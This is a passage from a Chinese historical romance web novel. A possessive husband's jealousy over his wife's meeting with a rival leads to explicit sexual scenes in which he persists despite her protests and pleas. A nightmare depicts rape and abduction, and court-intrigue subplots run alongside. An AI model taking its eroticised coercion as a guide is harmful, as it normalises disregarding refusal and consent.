不远处,封行渊就站在那里,不知听了多久,只有在听到最后一句时才慢条斯理地出声,“打算去哪?” 第53章 血性 鹿微眠听见封行渊的声音, 指尖一颤,不自觉地将慕青辞握住的手抽回。 她起身去迎,“你什么时候来的啊?” 慕青辞仍然坐在原位, 掌心一空,虚握着的手掌不自觉地蜷曲了一下。 仿佛掌心还残留着那熟悉的温度。 他抬眼,看向封行渊的视线, 带了几分不易察觉地挑衅。 但封行渊察觉到了。 他宽厚大手毫无预兆地扶上少女腰身, 骨节分明的手指轻轻收拢就将人往身前一带, “再来晚一点,夫人就要被拐跑了。” 封行渊说话间, 气息落在她耳侧, 但视线紧盯着慕青辞。 是猛兽在警告敌人的寻衅姿态。 “你不要胡说。”鹿微眠轻轻拍了他一下,反而被他手指捏得更紧。 这样的距离在慕青辞的角度来看, 是很亲密的姿势。 鹿微眠知道不能在这里多待,便转身与慕青辞说了一声,“多谢你今日回答我这些问题, 我回去想想,改日再来……” 她话还没说完,接着就被封行渊转了过去,只准她面对自己。 鹿微眠眼睫颤了一下。 听到头顶封行渊悠然道, “改日我来谢你,替我夫人指点迷津。” 说完, 他带着鹿微眠离开了地牢。 鹿微眠感觉到他手上力道的异样,小声解释道, “我就是来问他点事情。” 封行渊看她, “不能问我?” “问的都是宫中辛秘,事关皇家先祖。你不一定知道的, 不然我也不来找他。”鹿微眠觉得,她在皇帝身上产生的困惑,兴许当下,只有慕青辞可以解答,所以才找了过来。 封行渊听来确实如此,但还是不妨碍他心下躁郁。 又想杀慕青辞了。 但是眼下,鹿微眠需要他,还不能杀。 封行渊意识到她需要另一个男人时,更烦了。 血液中有什么在悄无声息的沸腾着,膨胀着。 灼烧着他的意志。 鹿微眠坐在马车里,偷偷看了他一眼,伸出手指勾了勾他的指节,“你……生气啦?” 封行渊否认,“没有。” 承认会显得自己不大度,他是她正经的丈夫,一个合格的丈夫对待外面那些没名没分的合该宽厚礼让。 书上是这么写的。 鹿微眠听着不对,“你就是生气了。” 封行渊不说话。 鹿微眠凑到他旁边,“我只是与他了解一些事情罢了,公事公办,还在你的地盘上,又不会怎么样。” 封行渊鼻息间侵入那惹人心神不宁的茉莉香,视线落在了她身上。 他意识到。 可他本就是小肚鸡肠、睚眦必报的恶人啊。 封行渊将她伸过来的手反扣在他大腿上,捏着她的指骨,“公事公办,要摸手吗?” 鹿微眠哼唧着,“手而已,我不知道他会伸过来,他就碰了一下哪有摸。我的手都给你摸还不行吗。” 封行渊听着* ,她娇娇气气地又在撒娇,血液更躁了一点。 鹿微眠的手被他按得动弹不得,却又不见人被哄好,“好吧,那你松开我,我回家去洗手好了。” “不用洗,”封行渊抓着她的手,却按向了炙热之处,“你知道吗。” “山林中,雄兽对待沾染上其他雄性气息的伴侣,是要用自己的气息冲刷掩盖。” 鹿微眠听懂了他的意思,手指发僵,被他拉得更近了些。 手指深陷于另一只大手的包裹之中,精准无误地让她的掌心触碰到,紧握住。 手心手背都变得炽热。 他的眸光暗沉,深不见底,继续道,“直到再也闻不到其他男人的气息为止。” 鹿微眠微微偏头,不好意思看。 却被他扣住下颚,转回来,“看着。” 鹿微眠被他突如其来的严厉哑声,弄得尾椎发麻。 好凶啊。 不止声音凶,他包裹住她手背的力气也很凶。 和他平日里很不一样。 鹿微眠看不下去,偷偷移开视线,却听身前人悠然一句,“移开一次眼睛,加一个手指。” 鹿微眠起先是没听懂的,愣愣的看他。 “阿眠刚刚已经移开一次了。”封行渊说着,另一只手的手指摩挲了一下她的小腹。 鹿微眠并非未经人事,在他触碰自己小腹之时,就明白了他说的加一个手指,是在哪里加。 她惊得后挪,按住他的手,“不要。” 封行渊低头询问,“不要,是不想要,还是不好意思要。” 他此时的眼神极具攻击性,鹿微眠不敢与他对视,但却又看不下去那处。 碍于那威胁,又不得不看。 鹿微眠很快浑身都涨红起来,坐立不安,“你欺负人。” 封行渊轻吻她唇角安抚,但说的话是,“就是很想欺负你啊。” 很想很想。 今天格外想。 封行渊恶劣地发现自己真的很爱看她被欺负得局促不安、眼神都不知道该往哪放的样子。 鹿微眠雪腮鼓胀着,愣是不敢再次移开视线,眼睁睁地看着他欺凌自己柔软的掌心。 渐渐地从平缓到产生攻击性。 那就像是一把趁手的利刃。 凶悍可怖。 马车其实很早就到了府苑门口。 但停了很久,马车上的人迟迟没有下来。 下人们也就都安静地等着,许是主子们在商讨什么要紧事。 鹿微眠下车是封行渊亲自扶下来的。 她的手被清理干净,但她还是很不自在地藏在袖子里,生怕被人看见。 好在冬日里绒毛风领宽大,足以遮盖住她红得滴血的脸颊。 封行渊扶她回府苑,在众人眼里一切如常,只不过刚到房间门口,鹿微眠就被推了进去。 她站不稳脚跟,但是仍然被拥着往房间里走。 腰身被抵在门口不远的柜子上一次,身上的斗篷、风领、外衫都尽数落地。 鹿微眠在喘息的间隙阻止他的动作,“这是……白天,我们晚上再……” 在她的规矩里,青天白日,怎么能做这种事。 外面都是人。 但是封行渊却低笑一声,“那阿眠就要小点声了。” 鹿微眠瞪大了眼睛,被他径直抱进了内室里侧的床榻上。 其实他们的屋子足够大,分外室内室,即便是她在里面哭到嗓子哑了,外面的人都不会听到。 封行渊当时布置屋子的时候,就想过了这一层。 但鹿微眠不知道,惊慌失措地阻拦着他,“不行……” “嘘,”封行渊握住她的腿弯,“别让他们听见。” 鹿微眠被这样一吓,愣是不敢出声阻止,手上也不敢有太大的动作。 这样就轻而易举地被压制,被他攻陷弱点。 封行渊的手指缓慢试探摩挲着。 他还记得上一次检查她“伤口”时的触感,与那次无异。 大概是这次紧张,她伤口绷得更紧了些,一节指节就卡住。 他印象中,书里说除了外面有机关,里面也有,就是需要一点点探索尝试罢了。 当下里面的机关找不到,就先动外面的。 鹿微眠望着头顶床幔,像是溺水的鱼儿,很被动地寻求喘息的空间。 但却在他探到一处陌生的地方时,忽然攥紧锦被,轻咬唇瓣。 封行渊心下愉悦,“看我发现了什么。” 鹿微眠不知道他找到什么了,但是也咬着唇瓣不敢说出话来。 封行渊漂亮的手指撬开她唇齿,“咬我。” 鹿微眠薄唇被他卡住,也不咬他,憋得泪眼汪汪地时不时渗出些压抑不住的气息声。 封行渊轻“啧”一声,这样都不咬他,“好乖。” 就在鹿微眠以为他这是心软,不再折腾她的意思时,听到他一句,“更想欺负了。” 鹿微眠心口也跟着发酸发胀,像是心脏里都被什么充盈胀满,随着心脏搏动的频率一点点碰撞,然后逐渐加快。 那跳跃的频率让她头脑发昏,有些喘不过气来。 鹿微眠伸手去抓他,但是够不着,无力地在空中滑过,只能抓住他一只手臂。 “他为什么会觉得,我护不了你呢?” 鹿微眠反应慢了半拍,但意识到了。 封行渊竟然还是在说慕青辞的事情! 怎么就是哄不好了呢! “你怎么……”鹿微眠嗔怪的话都没说完,就被他的动作激得浑身一抖,想要咬唇又被手指顶住牙关。 “我怎么了?”封行渊压低身形。 “说话。” 鹿微眠说不出来,眼泪汪汪地看着他。 封行渊带着股狠劲,继续问着,“阿眠为什么会觉得只是被碰了手而已呢?” “该不会是阿眠从前经常跟他碰手吧。”几乎是同时,第二根漂亮的手指也消失在温泉之中。 鹿微眠忽然像是被剖开命脉的鱼儿,心肺都被塞满,身形都剧烈地颤动一下,“你说,你今天说,我只移开了一次!” “嗯?”封行渊眉梢微扬,尾音像是带了钩子,“我怎么记得是两次?” 待她是适应过后。 “或许还有,第三次……” 鹿微眠挣动起来,“救……” “让谁来救你啊?”封行渊嗓音沉哑,蕴含危险气息,“慕青辞吗?” 鹿微眠拼命摇头,再也顾不得外面是不是有人,会不会听见他们青天白日里在做什么事情。 “夫君……放过我,要夫君救……” 封行渊微微敛眸,俯身含住她颤抖的唇珠。 他本能的安抚,但是又本性膨胀地告诉她一个残忍的事实,“可夫人这种时候越是这般害怕,我越想欺负你。” 他的行动,与他的言辞无二区别。 恶劣到无以复加。 鹿微眠用晚膳的时候,眼眶还是红的。 孙嬷嬷送上来晚膳菜肴,瞥见鹿微眠红彤彤的眼睛,还止不住地心疼,“姑娘昨日吓着了吧?” 瞧瞧,这休息了一整个下午都没有缓过劲来。 “今儿下午夫人和二少爷都来过了,听说你睡着也就走了,”孙嬷嬷一面帮她摆放着筷子,一面安抚道,“不过你也不用挂心,他们没别的事,就是担心,是来看你眼下身体如何。” 身体。 鹿微眠现在就是觉得身体还是有点胀。 像是里面有东西。 本来一个刚好,两个就胀了,还塞进去三个。 鹿微眠咬唇瞪了封行渊一眼。 那罪魁祸首大抵也是意识到自己失态,默不作声地往她碗里夹菜。 封行渊看着自己的手指。 三个也没有多粗…… 比起正经物件,还是差远了。 孙嬷嬷也给她添喜欢的菜,但说的跟他们在想的根本不是一回事,“没事别怕,都过去了,有句俗话说得好,大难不死必有后福。” 孙嬷嬷说着叹了口气,“不过也是没想到,你是侯爷的亲外甥女,他们一家怎么能做出如此丧尽天良的事情来!” 孙嬷嬷在一旁真情实感地骂了一通,“还好姑爷出手及时。” 鹿微眠原本有点生气,仔细想来封行渊身上还因她受着伤,气也就消了大半。 孙嬷嬷下去,她才嘟囔着问,“你身上的伤,还好吗?” 封行渊眉眼微动,“无妨,就是崩开了一点。” 鹿微眠轻轻蹙眉,又有点难以启齿,“你,你用那么大力气干嘛呀。” “没用力。”封行渊说的是实话,“就是因为要收着力气,才崩开的。” 鹿微眠:“……” “你下次,不能这样了。”鹿微眠低着头扒饭,又补了一句,“不许胡乱生气。” 封行渊垂眸。 意识到鹿微眠大概以为,他是因为生气,才会有这样的反应。 也对也不对。 就是因为有点气性。 所以他才没压抑住他本来的面目。 这才是他在床上的常态。 像梦里一样。 怎么办呢…… 所以他问,“可夫人不是也很喜欢吗?” 鹿微眠不回答他,放下碗筷走上前,“你给我看看伤。” 她刚起身,孙嬷嬷又折返回来,“方才还说呢,这不夫人和二少爷又来了。” 大抵是刚刚聊得事情不能见人,这会儿鹿微眠有点心虚地收回手,“他们来了啊。” “听说你睡醒就来了。”孙嬷嬷招呼她,“不急,他们在前厅等着,你先用完晚膳。” 鹿微眠听着,想必他们是真的着急,方才没见,这会儿不能不见了, “我吃好了。”鹿微眠与封行渊支会一声,“我先去前面跟他们说一声。” 封行渊独自坐在桌前,看着她离开。 似是有些遗憾。 鹿微眠走到前厅,前厅里鹿峥来回踱步怎么也坐不住,看到鹿微眠过来,三两步就跑到了她面前,“阿姐!” 叶绾也跟着上前,“昨晚,我们很早就被清散出来了,不让我们在宫里多呆。” 叶绾欲言又止,还是说出了口,“你舅舅他……” 鹿微眠斟酌了下措辞,不得不道,“昨晚的事情,舅舅承认是他做的。” “今早,他就被人……” “我知道。”叶绾打断了鹿微眠的话,有些站不住脚。 鹿峥扶着她,“母亲……” 叶绾勉强坐在一旁座椅上,显然还是没有缓过劲来,“你没事就是好的。” “今天一大早,就有人去侯府抄了家,今日宫中的事情,我也都知道了。” 鹿微眠听着抄家,轻轻蹙眉。 处置姜崇不着急,抄家封口倒是着急。 鹿峥看叶绾说不出话来,便代替叶绾问着,“昨晚我看姐夫被那金狮伤了,姐夫现下可还好?” 鹿微眠踟蹰道,“他还好。” 叶绾始终想不通,“你舅舅我们从未亏待过他,这到底是为何?” 鹿微眠思前想后,从前是担心母亲无法接受,觉得如今也没有什么要瞒着叶绾的必要。 她还是坐下来,把前因后果尽数告诉了叶绾。 * 华阳宫内灯火辉煌,平静顺遂得像是什么都没有发生一样。 虞念打理着窗前摆放的梅花,屋外传来侍女阻拦的声音,“殿下,娘娘要您在屋里好好休息的。” “我有事找她。” 声音由远及近,直至闯入屋内,“殿下!” “娘娘恕罪,殿下执意要进来。” “无妨,你们下去吧。”虞念将花瓶摆放好,这才收回视线看向闯入的少年。 慕景怀看着她,“你还要我做个傻子多久?” “怎么了?”虞念摩挲着手边的玉如意,“之前不是好好的吗?” “之前慕青辞还在,我忍一时便也罢了。他如今再无可能回宫,你为何还要关着我?”慕景怀凝眉,“父皇有意立我为皇储。” “你为什么叫他收回成命?” 虞念扬眉,“皇储哪有清散王爷安全自在,你想做皇储?” “我是个人!我不是你的傀儡!我不需要整日被关在柜子里,你到底有没有尊重过我的意愿?!” 虞念看了他一会儿,“我瞧你,在柜子里跟那个小哑女相处得挺好的啊。” “不喜欢啊。”虞念笑了,“那我就把她……” 慕景怀打断了她的话,“你这个疯子,你不许动她!” “你敢动她,我就跟她一起死。” 虞念轻轻眯起眸子,撑着额角看他,“我是怎么把你们都养成这个样子的。” “一个封轸,一个你。” 慕景怀气息混乱。 他从小就知道虞念暗中对封轸做的事情。 将封轸救回来,看似恩重如山,又选了个最差的人家送过去磋磨,让他收尽白眼和折磨。 表面上处处照顾,实际上,封轸自幼经历的所有痛苦和折磨都来源于她。 而她从不让他出去玩。 从小就告诉他,这长安城没有人可以相信。 他无聊到只能与春日飞来的夜莺做朋友,那只夜莺被他养得圆圆滚滚。 直到一日,虞念难得准他出去玩。 他精挑细选了一身新衣服出去。 却发现他养的夜莺关在囚笼里,被那些贵公子当活靶。 他们笑那只夜莺那么胖,一定飞不动。 等他赶过去的时候已经晚了。 他抱着那只被利箭穿身的小夜莺哭。 虞念告诉他,“你看,母妃早说,这长安城无人可信。” “母妃在乎的东西,也曾和你一样,被他们当做消遣玩物。” 从那以后,慕景怀没有朋友。 他不敢交京城的朋友,因为虞念讨厌。 直到后来,他宫苑里来了个小宫女陪他。 虞念知道后,给她改了个名字,叫春莺。 他知道虞念给她取名春莺的意思。 他听她的话,做个痴儿,接受她安排的一切。 嬷嬷宽慰他说,娘娘是为了让他做太子,是为了让他日后掌权。 或许吧。 但如果日后做太子掌权,能脱离她的摆布。 那也不错。 可是现在他以为能熬出去的一切幻想都破灭了。 虞念饶有兴致地问他,“你想做皇储,是因为喜欢权势,还是有其他的想法?” 慕景怀回避她的目光,冷静下来,“你根本没有想过让我掌权,因为我身上流着大郾皇室的血,你恨他们。” 真正爱孩子的母亲,不会把他当做囚犯一样关着。 慕景怀现在才意识到。 他的母亲不爱他,甚至讨厌他。 虞念打量着他的神情,“你该不会是为了那个怀有身孕的小春莺,才来跟我要权的吧。” 慕景怀垂在身侧的手指紧握成拳。 “你们怎么一个个都这般想不开。”虞念悠游道,“封轸也是,为了一个鹿微眠,把火药换成了烟花。真是让我头疼。” 虞念深吸一口气,慢条斯理地考量着,“原本鹿微眠嫁给他,就是一步棋。” “让他和慕青辞的仇恨激化,等鹿微眠跟着慕青辞背叛了他,封轸爆发占领皇城才是我们基业开始的时候。” “现在这样,真是让我难办。” 她说着说着,忽然笑了,“其实也好办,感情就是最致命的毒。爱她越多,刺回来的痛就越深。” “鹿微眠死一次,他就知道自己应该做什么了。” “若是死在长安城人手里,你说他会不会就想毁掉长安了。” 慕景怀浑身上下一阵恶寒。 在那一瞬间,他想到了当年死在自己怀里的夜莺。 虞念瞧着他心惊的样子笑道,“也不必这么复杂,哪怕是把鹿微眠捏在我手里,封轸怕也不得不唯命是从。” 这话是她的计策,也是对他的警告。 慕景怀难以接受的摇头后退,“你就是个疯子!” 他说完,掉头跑回了宫苑。 * 深夜月上树梢。 封行渊看了看时辰,已经过了鹿微眠平日里睡觉的时辰,但是她还没有回来。 再不回来,他崩开的伤口都要好了。 封行渊沉默着,把玩着手中一柄短刀,放在烛火上灼烤着。 尖利刀光倒映在少年眸底。 他手上打了个旋,对准了自己刚刚结痂的伤口。 鹿微眠送走了鹿峥与叶绾,才回了房间。 推开了内室门,正好看到封行渊衣衫松散,手边几块染血的棉帕。 鹿微眠心口一跳,慌忙凑上前,“怎么崩成这样了呀。” 封行渊眼帘压低,声音极弱,“没事。” “还说没事。”鹿微眠把封行渊外衫拉开查看伤势,他的衣衫却比她想象中更松散一些。 她轻轻一拉,尽数从两肩垂落,露出少年结实肩臂与蓬勃流畅的肌肉线条,随着他深重的呼吸一起一伏。 上面沾染着几道血色抓痕,尽显血性。 第54章 太凶 鹿微眠看着眼前的光景, 怔愣一下。 封行渊肤色还偏白,她不知怎么的,脑海中浮现除了“鲜嫩”两个字。 这令人血脉喷张的身材, 让她莫名奇妙想咬一口。 鹿微眠刚冒出这个想法,就意识到,她怎么跟他一样想咬人了。 不对。 鹿微眠停滞片刻, 这才想起来她是在给人看伤, 立马出声遮掩着, “那个,药在哪?” “柜子里。” 鹿微眠移开视线, 装作很忙的样子去找药膏。 封行渊衣衫半褪, 就隔着一段距离看她。 他就说,他知道她喜欢看什么。 鹿微眠拿好药膏回来, 看到他还有些不自在。 印象中,封行渊总是将自己防备得很好,似乎对他而言, 暴露身体是暴露弱点的一种,鲜少能有机会这样…… 因此,鹿微眠总有一种自己在用眼睛占他便宜的错觉。 “你,自己涂, 还是……” “我一动,容易扯到伤口。” 鹿微眠攥了攥手里的药瓶, “好。” 她伸手扶过封行渊肩臂,将他摆正, 坐在他身后。 封行渊垂眸, 询问着,“今日, 你跟慕青辞都聊了什么?” 鹿微眠将药粉一点一点洒在他肩膀伤口上,“没什么,不过是今日,我去宫中告发姜崇,碰了壁而已。” “因何碰壁?” 鹿微眠停顿了一下,将今日她在宫中的遭遇,以及跟慕青辞聊过的事情全盘托出。 鹿微眠问他,“所以你觉得,这些事情,陛下也是知道,并且默许的吗?” 封行渊不想承认慕青辞说的是对的,但也不得不承认。 “那位淑妃娘娘心机深沉,总有自己的想法,陛下知道,但或许不是知道全部。” “但如果是陛下下令,这样淑妃不论利用他的命令做什么,都有机会给自己兜底。” “也或许对于虞念来说,皇帝也不过是拿来利用的人之一。” 鹿微眠叹了一口气,“那陛下知道了,为什么按兵不动。” “利益纠葛太深,就不好说动不动了。” 鹿微眠思索了一会儿,大概能理解封行渊的意思。 虞念在后宫经历两任帝王,二十余年,姜崇的事情对自己来说很大,但对经历过夺嫡的皇帝和淑妃来讲,兴许只不过是很小的一件事。 鹿微眠出声,“我只是担心,虞念是为了给西陵的另一个人进京铺路。” 封行渊听到这句话微微偏头,剑眉轻蹙。 他眼底神色有些许不易察觉的变化,“为什么会这么觉得?” 鹿微眠沉默片刻,“若我说,我梦到过,你信吗?” “不过当下也只是我的猜测,我也不能确定。” 封行渊良久后,又问道,“你很讨厌那个人吗?” 鹿微眠有些走神,撒药粉的手抖了一下。 多余的药粉撒了出来,鹿微眠赶忙用手接,手指滑过他背部其他肌肤。 她明显感觉到他背肌绷紧。 鹿微眠说实话,“我不想招惹到那个人,我想离他远远的。” 她挺怕那个人的。 再碰到他……她不敢想。 封行渊不说话,大概是在想她说的事情,“那我呢?” 鹿微眠涂好后面,帮他绑上绷带,转到前面。 觉得他这个问题很奇怪,“跟你有什么关系啊?” 他迟疑着问,“你有的时候,会想离我远一点吗?” “你不要想这么多……”鹿微眠以为他又没有安全感,拿自己和别人在比较,从前他就爱拿他和慕青辞比。 她回答到一半又想起什么来,“如果你不像今天那,那样,我就不会。” 封行渊低头看她,“今天哪样?” 鹿微眠坐在他对面看着这些,比起在后面看得冲击力要更强一点。 他忽一靠近,这些离她就更近了些。 鹿微眠眼睛不敢乱看,也不好回答他的问题,“就是……” “塞三个手指吗?”封行渊替她回答。 鹿微眠屏气,眼底带着嗔怪迎上他的视线。 又这样就说出来了。 “我是看着可以试试才塞,何况比起……” 鹿微眠慌忙捂住他的嘴巴,制止了他后面的话,“我的意思是,你今天太凶了。” 封行渊想,可他已经很有耐心地等两个带到顶点后,才趁机增加数量。 再带她上去。 鹿微眠见他不会说出什么惊天地的话来,才小心翼翼地松开手,继续上药。 他胸口处有些淤青,要涂的就不是药粉,是药油。 鹿微眠沾了一点药油在指尖,贴上他的胸膛缓慢地按压打圈。 少年看着她,胸口的呼吸起伏缓慢加重。 鹿微眠手指被他呼吸起伏带动地上下游移,感觉很怪。 手指碰触的地方,都像是在灼烧她的指尖。 她有点窘迫,“你,别动。” 没有用。 她的手在起伏间被大手包裹住。 封行渊想,这种事在外面还能忍一忍,碰到里面怎么能不凶。 他一直觉得。 连夸带哄哪有连咬带顶地痛快。 相敬如宾用来形容夫妻就是个笑话。 夫妻就该抵死缠绵、血**融、生死不休。 她为什么会喜欢不凶的呢。 但,谁让她喜欢呢。 “那你教我在里面怎么才算不凶?” 鹿微眠眼睫压低,很艰难地抽开手指,“刚涂好药,你今天不能再这样了。” 她将人推开,站起来跟他保持距离,“这样吧,我们今晚分床睡。” 封行渊蹙眉,看起来不太像是会同意的样子。 果然,下一瞬,他斩钉截铁道,“不行。” 鹿微眠忽然有点怀念当初好半天才能把人拉上床的时候。 “那你不能碰我。” “不行。” 鹿微眠正要再说什么,发现他视线一直落在她身上。 她低头一看,发现刚刚洒出来的药油零零散散的落在她的衣衫上。 衣裙薄透,恰好能看见里面的…… 她连忙放下药油,转过身跑去沐浴间,“你你你自己涂药。” 等鹿微眠擦好身,换上寝衣折返回来的时候,看见封行渊已经把自己收拾好,自觉地找到位置躺下。 她去熄了灯,挪上床,刚刚躺下就听见身后一阵寝被摩挲声响。 还未等她做出反应,一下子将她卷进了被子里! 昏暗的房间内,被锦被蒙住的声音细弱发闷。 “封行渊!你有伤!” “两个。” “这样还凶吗……” * 圆月高悬,冰寒月色带过一片死寂,静默无声地映照着长安城。 战事席卷过后的城池内,即便已过数月,稍有些风吹草动还是会令人心神不宁。 同样空寂的宫城中,某一处宫殿内却银铃声阵阵。 间或有女子的哭吟低泣。 鹿微眠绷着足尖摩挲锦被,大脑一片空白。 她想要逃离这样的感觉,却只能承受得越来越多。 他阴戾得令人胆颤,“封夫人,你丈夫知道你被我弄得这么高兴吗。” 鹿微眠一口咬上他的手臂,却被他掐住脖颈摁在枕间。 “想不想让他也看看你现在的样子。” 难以承受的背-德感,让鹿微眠用尽了毕生所知的肮脏词汇痛骂他“变态”。 他却笑了,他还能更变态一点,“不如把他的棺椁挖出来,放在这里,就在他的灵堂前,让他看着我弄你。” 鹿微眠心脏有一瞬间的失重感。 像是掉进了悬崖,双脚一踩空,就从梦境中醒来。 好吓人。 鹿微眠按住心口,望着头顶床幔发呆。 日上三竿,她扶着床榻起身,摇响床铃。 暮云进来帮她梳洗,“昨日歇得可还好吗?” 鹿微眠深吸一口气平复心绪,说不出来休息得很好这种话。 那梦境里的一切让她心里久久无法安定。 尤其是昨夜才刚经历了封行渊那么温柔地对她,就梦到了这个。 他们风格差距太大了。 鹿微眠不禁害怕起来。 倘若那个色中饿鬼在淑妃的安排下进京。 不撞见她还好,要是撞见她,再一次见色起意将她强掳走该怎么办…… 何况现在是封行渊守兵权。 他肯定会和封行渊有一定的交际。 若是怀恨在心,怕是很难不把主意打在她身上。 到那时候…… 鹿微眠不敢细想。 她担心前世的事情会不会再次发生。 可她也不敢赌,万一被抓走呢。 暮云将每日的补药送过来,看她久久没有回话,“怎么了夫人?” 鹿微眠摇头,拿过药碗,很快就喝了个干净。 她换了个话题,“舅母被安置起来了吗?” 暮云小声道,“已经被姑爷安置好了。” 鹿微眠起身,不想让自己沉浸于这样紧张又忧虑的思绪中,“那我先去见见她。” 暮云答应着,去安排出府的马车。 正月里的长安城相比于年前要稍微暖和一些,马车车帘随着颠簸路程起起伏伏。 吹得鹿微眠更清醒了些,盲目地担心还没有发生过的事情,是没有意义的。 眼下她还不如先把前因后果,和所有的事情全部理清楚。 再与大家商议对策。 鹿微眠深吸一口气,安慰自己。 没事的,没事的,还有时间。 暗室之中,沉重的木门被推开。 屋内人听见声音,下意识地回避屋外渗进来的光线。 白氏双手双脚挂着锁链,看见鹿微眠进来,忽然冷笑了两声,“你来了。” 鹿微眠走上前,“舅母早就猜到我会来?” 白氏声音粗哑,缓慢地坐直身子,“当然。” 昨日抄家,进来的侍卫是带着刀进来的。 原本侍卫带刀不是什么稀奇事,而是提着刀满屋子找她,才稀奇。 好像找到她,随时能割断她的脖子灭口。 因何灭口。 总之她猜,她女儿丈夫被先后解决,皇帝下令抄家,他们本来就不会再有好下场,鹿微眠不至于命人暗杀。 灭口无非是因为他们知道一些,别人不能知道的事情。 这些年他们替皇家做了不少阴损勾当,借口抄家让他们闭嘴也不是什么稀奇事。 这个时候能来救她的人,看起来很难猜,其实也很好猜。 白氏近乎是一夜白头,连眼神都显得苍老,“你想知道什么?” 鹿微眠倒了一盏茶,要说事到如今,明确的头绪她也没有。 昨日让封行渊来带他们走,本来是想他们或许能留下什么证物。 当然现在才发现,都没有意义。 她现在觉得,她知道得太少了。 她所看到的一切,都是别人精心编造的虚影。 不如先把事情全部搞清楚。 她不能太急,从前就是太急了。 鹿微眠将茶水递给她,“我们就随便聊聊,舅母告诉我,你们是从何时开始谋算我们的。” “当然,你要是不想说也无妨。” 白氏倚靠在旁边,“我现在还能有什么不想说的吗。” 她深吸了一口气,目光空荡地回忆着,“其实最开始顶多是与你们家亲近,觉得亲近多了,我们也能好一些。” “若非要说什么时候,大概是……心娴说,她有办法与太子殿下有所联系开始。” “从那以后,太子殿下会给我们一些差事和好处,渐渐地,差事会和司空府有关,也就慢慢算到了你们头上。” “那时候外面人,都拿司空府和侯府比较。” 什么感情能经得起一直比较高低,指摘对错。 “起先也不是没犹豫过,但总想要压过一头,那股劲上来,就也不在乎了。” “谁愿意一直屈居人下。” 鹿微眠轻抿茶盏听着白氏的话,“可那指使侯府算计司空府的,其实不是东宫太子,是淑妃,姜崇听命于淑妃。” 白氏起先有片刻的惊讶,看了鹿微眠一会儿后,却是突然间笑了起来。 她边笑边摇头,让人一度误以为她有些疯魔。 “舅母为何笑?” “绕了一圈,原来是她。”白氏长长叹了一口气,“亏我还把她当成自家人,觉得沾亲带故的,眼巴巴地带娴儿去亲近她。” “原来我才是真的蠢,谁又不是一颗棋子呢。” “也是,她如何能咽的下那口气呢。” 鹿微眠越发听不懂,“什么意思?” 白氏看向鹿微眠,“你母亲可告诉过你,当年你这位姨母为何入宫?” 鹿微眠摇头。 白氏别有深意道,“怕是你母亲不敢告诉你吧。” “我也是听你舅舅闲谈时聊起的,”白氏停顿了下,“其实虞念不是你真正的血亲姨母,她也不跟叶府姓,那不过是当年让她入宫的托词。” “当年那外邦女子,虞念的母亲,因战乱死在边疆,你外祖父只救回来一个小女孩,就是如今的淑妃娘娘。” “后来先帝挑中你母亲叶绾入宫为妃,可那时你母亲才刚刚及笄,先帝年过四十,比老侯爷还大。” “老侯爷不愿意你母亲受苦,就与救回来的这个孩子商议,想送她进宫,谎称也是自己的女儿。” “哪个好人家的姑娘愿意嫁给一个能做自己爹的男人当妾室,即便是皇帝。而且那时,虞念已有相好,是一个西陵巫师,两人还商议回乡成婚。但老侯爷说那都是歪门邪道,不同意。” “虞念计划私奔,但当时还顾念着家里的救命恩情,想等老侯爷寿宴过后再走。” “但那次老侯爷寿宴,先帝亲临。” “老侯爷将虞念骗去,说跟先帝敬一杯酒就可以走。” “那一杯酒后,她就成了兰昭仪。” 屋内沉寂了很久。 鹿微眠能听到自己混乱的心跳声,“那,西陵巫师呢?” 白氏想了想,“听说是西陵战乱回去征战,然后死于北襄屠城。” 鹿微眠从暗室出来时,人还是懵的。 正午日光照在她身上,但她浑身上下依然是刺骨的冰寒。 她的确从未听到过如此多关于她这位姨母的事情。 鹿微眠甚至有些怀疑,那个时间点,外祖父出征后战死和外祖母病故,是不是也有这个原因。 钧宜他们看着鹿微眠出来,脸色不太对。 虽然不知道她与那位谈了什么,但也没有多问。 钧宜扶鹿微眠上车。 马车调转方向,启程往府苑的方向走。 半路途径长街小巷,忽然间带过一阵冷风,一辆马车意外地出现在拐角处,径直朝着他们这边赶来! “吁”地一声。 钧宜匆忙勒紧缰绳,催促马匹停下来。 鹿微眠身形随着马车突然间停止的动作而剧烈一* 晃。 这才从刚才的游思中回过神来。 鹿微眠掀起车帘,询问钧宜,“是怎么……” 她的话说到一半停住,怔怔地看着对面马车里坐着的慕景怀! 偏僻的巷子里,无人经过。 只有些枯枝败叶被冷风带过,又撞在石砖墙壁上,发出破败声响。 两辆马车相对停着,慕景怀问,“封夫人可愿过来一叙。” 才刚听过虞念跟他们家的恩怨,她的儿子就出现在这里。 鹿微眠立马摇头,径直放下了马车帘,慌慌张张地回,“臣妇,不太方便,得赶紧回家了。钧宜!” 钧宜正要调转马车方向,突然被冲上来的侍卫按住双手反剪在身后,“你们!” 鹿微眠的马车剧烈摇晃了一下,暮云赶忙想要去帮忙。 忽然一柄长剑剑鞘横在了马车前,一并替慕景怀挡出一条路。 慕景怀进来,“你不愿过去,那就只能我过来了。” 鹿微眠摸出藏在腰间的红烟,正要给封行渊放信,长剑出鞘,横在暮云颈间! 暮云屏气,“夫人……” “封夫人慎行。” 鹿微眠的手僵在原地。 一刻钟后,鹿微眠很不自在地坐在马车上,手指绞紧。 算下来,自从上一次被他戳穿之后,这是他们第一次正儿八经的见面。 慕景怀带来的侍从上前给鹿微眠斟茶。 她颇为紧张地看了看递上来的茶盏,不确定这一杯里面,是真的茶水,还是什么毒药。 想毒死她。 “那个……” “表姐。” 他们同时出声,鹿微眠听见那声“表姐”还是心里咯噔一下。 她警惕地看着慕景怀。 而她对面慕景怀神色深沉,“你不必这么紧张,其实我今日来,当真只是想要与你商议一些事情。” “你与我,能商议什么事情。”还带刀。 慕景怀看得出来鹿微眠的不安,叫侍卫收了手,“若非是表姐看见我这般如临大敌,不能好好说话,我也不至于出此下策。” “表姐兴许不知道,我出来一趟很是艰难。所以今日说的是要紧事。” 鹿微眠并未应声,轻轻蹙眉看他。 慕景怀凝眸,神情严肃,“这长安城,你兴许不能呆了。” 鹿微眠眼睫轻颤了一下,看向他,“为什么?” 其实说实话,自从昨晚的那个梦之后,鹿微眠也想过离开长安。 但她在长安还有太多放不下的人,所以那也只是转瞬即逝的念头罢了。 “我只有一刻钟的时间,我与你长话短说,我母妃是个疯子。”慕景怀声音很轻,“我听闻你昨日与她有一些争执,那如今,有些事情,你应当也知道了。” 慕景怀看她与封轸感情甚笃,便也默认了她知道封轸的来历、身份和西陵的事情,还有虞念和西陵的关系,他也没有时间和她细说。 